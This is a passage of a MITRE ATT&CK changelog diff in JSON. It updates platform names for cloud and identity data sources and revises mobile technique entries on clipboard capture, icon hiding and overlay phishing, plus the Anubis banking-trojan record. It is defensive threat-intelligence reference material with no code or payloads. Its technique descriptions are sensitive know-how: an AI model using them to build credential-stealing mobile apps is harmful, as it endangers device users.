\"Google Workspace\", \"root['x_mitre_platforms'][3]\": \"Office 365\"}}", + "previous_version": "1.0" + }, + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "Cloud Service", + "description": "Infrastructure, platforms, or software that are hosted on-premise or by third-party providers, made available to users through network connections and/or APIs(Citation: Amazon AWS)(Citation: Azure Products)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_version": "1.0", + "x_mitre_attack_spec_version": "2.1.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_collection_layers": [ + "Cloud Control Plane" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--b1ddede4-cafe-4955-ac4c-14b33ac3f647", + "created": "2021-10-20T15:05:19.273Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0025", + "external_id": "DS0025" + }, + { + "source_name": "Amazon AWS", + "description": "Amazon. (n.d.). Start Building on AWS Today. Retrieved October 13, 2021.", + "url": "https://aws.amazon.com" + }, + { + "source_name": "Azure Products", + "description": "Microsoft. (n.d.). Azure products. Retrieved October 13, 2021.", + "url": "https://azure.microsoft.com/en-us/services/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-03-30T14:26:51.804Z\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Identity Provider\", \"old_value\": \"Office 365\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][2]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Google Workspace\"}}", + "previous_version": "1.0" + }, + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "Firewall", + "description": "A network security system, running locally on an endpoint or remotely as a service (ex: cloud environment), that monitors and controls incoming/outgoing network traffic based on predefined rules(Citation: AWS Sec Groups VPC)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_version": "1.0", + "x_mitre_attack_spec_version": "2.1.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--f2f4f4bd-3455-400f-b2ee-104004df0f5b", + "created": "2021-10-20T15:05:19.273Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0018", + "external_id": "DS0018" + }, + { + "source_name": "AWS Sec Groups VPC", + "description": "Amazon. (n.d.). Security groups for your VPC. Retrieved October 13, 2021.", + "url": "https://docs.aws.amazon.com/vpc/latest/userguide/VPC_SecurityGroups.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-03-30T14:26:51.805Z\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][5]\": \"Office Suite\", \"root['x_mitre_platforms'][6]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Google Workspace\", \"root['x_mitre_platforms'][4]\": \"Office 365\"}}", + "previous_version": "1.0" + }, + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "Group", + "description": "A collection of multiple user accounts that share the same access rights to the computer and/or network resources and have common security rights(Citation: Amazon IAM Groups)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "SaaS", + "Windows", + "Office Suite", + "Identity Provider" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_version": "1.0", + "x_mitre_attack_spec_version": "2.1.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--3c07684f-3794-4536-8f70-21efe700c0ec", + "created": "2021-10-20T15:05:19.275Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0036", + "external_id": "DS0036" + }, + { + "source_name": "Amazon IAM Groups", + "description": "Amazon. (n.d.). IAM user groups. Retrieved October 13, 2021.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-03-30T14:26:51.805Z\"}, \"root['x_mitre_platforms'][3]\": {\"new_value\": \"Office Suite\", \"old_value\": \"Office 365\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Google Workspace\"}}", + "previous_version": "1.0" + }, + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "Logon Session", + "description": "Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_version": "1.1", + "x_mitre_attack_spec_version": "3.1.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host", + "Network" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891", + "created": "2021-10-20T15:05:19.274Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0028", + "external_id": "DS0028" + }, + { + "source_name": "Microsoft Audit Logon Events", + "description": "Microsoft. (2021, September 6). Audit logon events. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-12-07T19:45:09.019Z\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][5]\": \"Office Suite\", \"root['x_mitre_platforms'][6]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Google Workspace\", \"root['x_mitre_platforms'][4]\": \"Office 365\"}}", + "previous_version": "1.1" + }, + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "User Account", + "description": "A profile representing a user, device, service, or application used to authenticate and access resources", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_version": "1.1", + "x_mitre_attack_spec_version": "3.1.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Container", + "Host" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6", + "created": "2021-10-20T15:05:19.271Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0002", + "external_id": "DS0002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-12-07T19:50:43.993Z\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][6]\": \"Office Suite\", \"root['x_mitre_platforms'][7]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Google Workspace\", \"root['x_mitre_platforms'][5]\": \"Office 365\"}}", + "previous_version": "1.1" + }, + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "Web Credential", + "description": "Credential material, such as session cookies or tokens, used to authenticate to web applications and services(Citation: Medium Authentication Tokens)(Citation: Auth0 Access Tokens)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_version": "1.0", + "x_mitre_attack_spec_version": "2.1.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--1e26f222-e27e-4bfa-830c-fa4b4f18b5e4", + "created": "2021-10-20T15:05:19.271Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0006", + "external_id": "DS0006" + }, + { + "source_name": "Medium Authentication Tokens", + "description": "Hsu, S. (2018, June 30). Session vs Token Based Authentication. Retrieved September 29, 2021.", + "url": "https://medium.com/@sherryhsu/session-vs-token-based-authentication-11a6c5ac45e4" + }, + { + "source_name": "Auth0 Access Tokens", + "description": "Auth0. (n.d.). Access Tokens. Retrieved September 29, 2021.", + "url": "https://auth0.com/docs/tokens/access-tokens" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-03-30T14:26:51.807Z\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][4]\": \"Office Suite\", \"root['x_mitre_platforms'][5]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Google Workspace\", \"root['x_mitre_platforms'][3]\": \"Office 365\"}}", + "previous_version": "1.0" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "datacomponents": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + } + }, + "mobile-attack": { + "techniques": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [ + { + "type": "attack-pattern", + "id": "attack-pattern--c4b96c0b-cb58-497a-a1c2-bb447d79d692", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:19.996000+00:00", + "modified": "2024-09-12 15:17:00.569000+00:00", + "name": "Clipboard Data", + "description": "Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device.(Citation: Fahl-Clipboard) \n\n \n\nOn Android, applications can use the `ClipboardManager.OnPrimaryClipChangedListener()` API to register as a listener and monitor the clipboard for changes. However, starting in Android 10, this can only be used if the application is in the foreground, or is set as the device\u2019s default input method editor (IME).(Citation: Github Capture Clipboard 2019)(Citation: Android 10 Privacy Changes) \n\n \n\nOn iOS, this can be accomplished by accessing the `UIPasteboard.general.string` field. However, starting in iOS 14, upon accessing the clipboard, the user will be shown a system notification if the accessed text originated in a different application. For example, if the user copies the text of an iMessage from the Messages application, the notification will read \u201capplication_name has pasted from Messages\u201d when the text was pasted in a different application.(Citation: UIPPasteboard)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1414", + "external_id": "T1414" + }, + { + "source_name": "Android 10 Privacy Changes", + "description": "Android Developers. (n.d.). Privacy changes in Android 10. Retrieved September 11, 2019.", + "url": "https://developer.android.com/about/versions/10/privacy/changes#clipboard-data" + }, + { + "source_name": "UIPPasteboard", + "description": "Apple Developer. (n.d.). UIPasteboard. Retrieved April 1, 2022.", + "url": "https://developer.apple.com/documentation/uikit/uipasteboard" + }, + { + "source_name": "Fahl-Clipboard", + "description": "Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved September 12, 2024.", + "url": "https://saschafahl.de/static/paper/pwmanagers2013.pdf" + }, + { + "source_name": "Github Capture Clipboard 2019", + "description": "Pearce, G. (, January). Retrieved August 8, 2019.", + "url": "https://github.com/grepx/android-clipboard-security" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html", + "external_id": "APP-35" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "Application vetting services could detect usage of standard clipboard APIs.", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "3.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:17:00.569000+00:00\", \"old_value\": \"2023-03-16 18:33:20.042000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved September 12, 2024.\", \"old_value\": \"Fahl, S, et al.. (2013). Hey, You, Get Off of My Clipboard. Retrieved August 27, 2019.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://saschafahl.de/static/paper/pwmanagers2013.pdf\", \"old_value\": \"http://saschafahl.de/static/paper/pwmanagers2013.pdf\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "3.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0041: Application Vetting (API Calls)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f05fc151-aa62-47e3-ae57-2d1b23d64bf6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 20:06:22.194000+00:00", + "modified": "2024-09-12 19:47:06.884000+00:00", + "name": "Suppress Application Icon", + "description": "A malicious application could suppress its icon from being displayed to the user in the application launcher. This hides the fact that it is installed, and can make it more difficult for the user to uninstall the application. Hiding the application's icon programmatically does not require any special permissions. \n\nThis behavior has been seen in the BankBot/Spy Banker family of malware.(Citation: android-trojan-steals-paypal-2fa)(Citation: sunny-stolen-credentials)(Citation: bankbot-spybanker) \n\nBeginning in Android 10, changes were introduced to inhibit malicious applications\u2019 ability to hide their icon. If an app is a system app, requests no permissions, or does not have a launcher activity, the application\u2019s icon will be fully hidden. Further, if the device is fully managed or the application is in a work profile, the icon will be fully hidden. Otherwise, a synthesized activity is shown, which is a launcher icon that represents the app\u2019s details page in the system settings. If the user clicks the synthesized activity in the launcher, they are taken to the application\u2019s details page in the system settings.(Citation: Android 10 Limitations to Hiding App Icons)(Citation: LauncherApps getActivityList)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1628/001", + "external_id": "T1628.001" + }, + { + "source_name": "Android 10 Limitations to Hiding App Icons", + "description": "Android. (n.d.). Android 10 Release Notes: Limitations to hiding app icons. Retrieved March 30, 2022.", + "url": "https://source.android.com/setup/start/android-10-release#limitations_to_hiding_app_icons" + }, + { + "source_name": "LauncherApps getActivityList", + "description": "Android. (n.d.). LauncherApps: getActivityList. Retrieved March 30, 2022.", + "url": "https://developer.android.com/reference/kotlin/android/content/pm/LauncherApps#getactivitylist" + }, + { + "source_name": "sunny-stolen-credentials", + "description": "Luk\u00e1\u0161 \u0160tefanko. (2017, February 22). Sunny with a chance of stolen credentials: Malicious weather app found on Google Play. Retrieved July 11, 2019.", + "url": "https://www.welivesecurity.com/2017/02/22/sunny-chance-stolen-credentials-malicious-weather-app-found-google-play/" + }, + { + "source_name": "android-trojan-steals-paypal-2fa", + "description": "Luk\u00e1\u0161 \u0160tefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.", + "url": "https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/" + }, + { + "source_name": "bankbot-spybanker", + "description": "NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved September 12, 2024.", + "url": "https://www.cyber.nj.gov/threat-landscape/malware/trojans/bankbot-spy-banker" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Emily Ratliff, IBM" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "The user can examine the list of all installed applications, including those with a suppressed icon, in the device settings. If the user is redirected to the device settings when tapping an application\u2019s icon, they should inspect the application to ensure it is genuine. Application vetting services could potentially detect the usage of APIs intended for suppressing the application\u2019s icon.", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 19:47:06.884000+00:00\", \"old_value\": \"2023-03-20 18:51:29.931000+00:00\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved September 12, 2024.\", \"old_value\": \"NJCCIC. (2017, March 2). BankBot/Spy Banker. Retrieved July 11, 2019.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://www.cyber.nj.gov/threat-landscape/malware/trojans/bankbot-spy-banker\", \"old_value\": \"https://www.cyber.nj.gov/threat-profiles/android-malware-variants/bankbot-spybanker\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0041: Application Vetting (API Calls)", + "DS0042: User Interface (System Settings)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4c58b7c6-a839-4789-bda9-9de33e4d4512", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-05 19:48:31.195000+00:00", + "modified": "2024-09-12 15:20:41.834000+00:00", + "name": "GUI Input Capture", + "description": "Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique\u2019s use.(Citation: Felt-PhishingOnMobileDevices)\n\nThere are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information.(Citation: eset-finance) Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.(Citation: Group IB Gustuff Mar 2019) \n\nAdditionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android\u2019s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Two known approaches to displaying a prompt include:\n\n* Adversaries start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)\n* Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1417/002", + "external_id": "T1417.002" + }, + { + "source_name": "Felt-PhishingOnMobileDevices", + "description": "A.P. Felt and D. Wagner. (2011, May 26). Phishing on Mobile Devices. Retrieved August 25, 2016.", + "url": "http://w2spconf.com/2011/papers/felt-mobilephishing.pdf" + }, + { + "source_name": "Android Background", + "description": "Android Developers. (n.d.). Restrictions on starting activities from the background. Retrieved September 18, 2019.", + "url": "https://developer.android.com/guide/components/activities/background-starts" + }, + { + "source_name": "Cloak and Dagger", + "description": "Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 12, 2024.", + "url": "https://cloak-and-dagger.org/" + }, + { + "source_name": "Group IB Gustuff Mar 2019", + "description": "Group-IB. (2019, March 28). Group-IB uncovers Android Trojan named \u00abGustuff\u00bb capable of targeting more than 100 global banking apps, cryptocurrency and marketplace applications. Retrieved September 3, 2019.", + "url": "https://www.group-ib.com/blog/gustuff" + }, + { + "source_name": "eset-finance", + "description": "Luk\u00e1\u0161 \u0160tefanko. (2016, July 7). Fake finance apps on Google Play target users from around the world. Retrieved September 24, 2018.", + "url": "https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/" + }, + { + "source_name": "Hassell-ExploitingAndroid", + "description": "R. Hassell. (2011, October 12-13). Exploiting Androids for Fun and Profit. Retrieved October 10, 2019.", + "url": "https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf" + }, + { + "source_name": "XDA Bubbles", + "description": "Rahman, M.. (2019, May 8). Bubbles in Android Q will fully replace the overlay API in a future Android version. Retrieved September 18, 2019.", + "url": "https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/" + }, + { + "source_name": "NowSecure Android Overlay", + "description": "Ramirez, T.. (2017, May 25). \u2018SAW\u2019-ing through the UI: Android overlay malware and the System Alert Window permission explained. Retrieved September 18, 2019.", + "url": "https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/" + }, + { + "source_name": "ThreatFabric Cerberus", + "description": "ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019.", + "url": "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html" + }, + { + "source_name": "Skycure-Accessibility", + "description": "Yair Amit. (2016, March 3). \u201cAccessibility Clickjacking\u201d \u2013 The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved December 21, 2016.", + "url": "https://www.skycure.com/blog/accessibility-clickjacking/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", + "external_id": "APP-31" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "Android users can view and manage which applications hold the `SYSTEM_ALERT_WINDOW` permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). \n\nApplication vetting services can look for applications requesting the `android.permission.SYSTEM_ALERT_WINDOW` permission in the list of permissions in the app manifest. ", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 15:20:41.834000+00:00\", \"old_value\": \"2023-03-20 18:55:51.676000+00:00\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 12, 2024.\", \"old_value\": \"Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 18, 2019.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://cloak-and-dagger.org/\", \"old_value\": \"http://cloak-and-dagger.org/\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ], + "new": [], + "dropped": [] + } + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "software": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [ + { + "type": "malware", + "id": "malware--a3c59d82-2c7c-44e5-a869-68e0a3e5935e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-04-08 15:41:19.114000+00:00", + "modified": "2024-09-25 15:03:05.100000+00:00", + "name": "Anubis", + "description": "[Anubis](https://attack.mitre.org/software/S0422) is Android malware that was originally used for cyber espionage, and has been retooled as a banking trojan.(Citation: Cofense Anubis)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0422", + "external_id": "S0422" + }, + { + "source_name": "Cofense Anubis", + "description": "M. Feller. (2020, February 5). Infostealer, Keylogger, and Ransomware in One: Anubis Targets More than 250 Android Applications. Retrieved September 25, 2024.", + "url": "https://web.archive.org/web/20231222134431/https://cofense.com/blog/infostealer-keylogger-ransomware-one-anubis-targets-250-android-applications/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Anubis" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Aviran Hazum, Check Point", + "Sergey Persikov, Check Point" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_deprecated']\": false}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-25 15:03:05.100000+00:00\", \"old_value\": \"2021-09-20 13:50:01.923000+00:00\"}, \"root['external_references'][1]['description']\": {\"new_value\": \"M. Feller. (2020, February 5). Infostealer, Keylogger, and Ransomware in One: Anubis Targets More than 250 Android Applications. Retrieved September 25, 2024.\", \"old_value\": \"M. Feller. (2020, February 5). Infostealer, Keylogger, and Ransomware in One: Anubis Targets More than 250 Android Applications. Retrieved April 8, 2020.\"}, \"root['external_references'][1]['url']\": {\"new_value\": 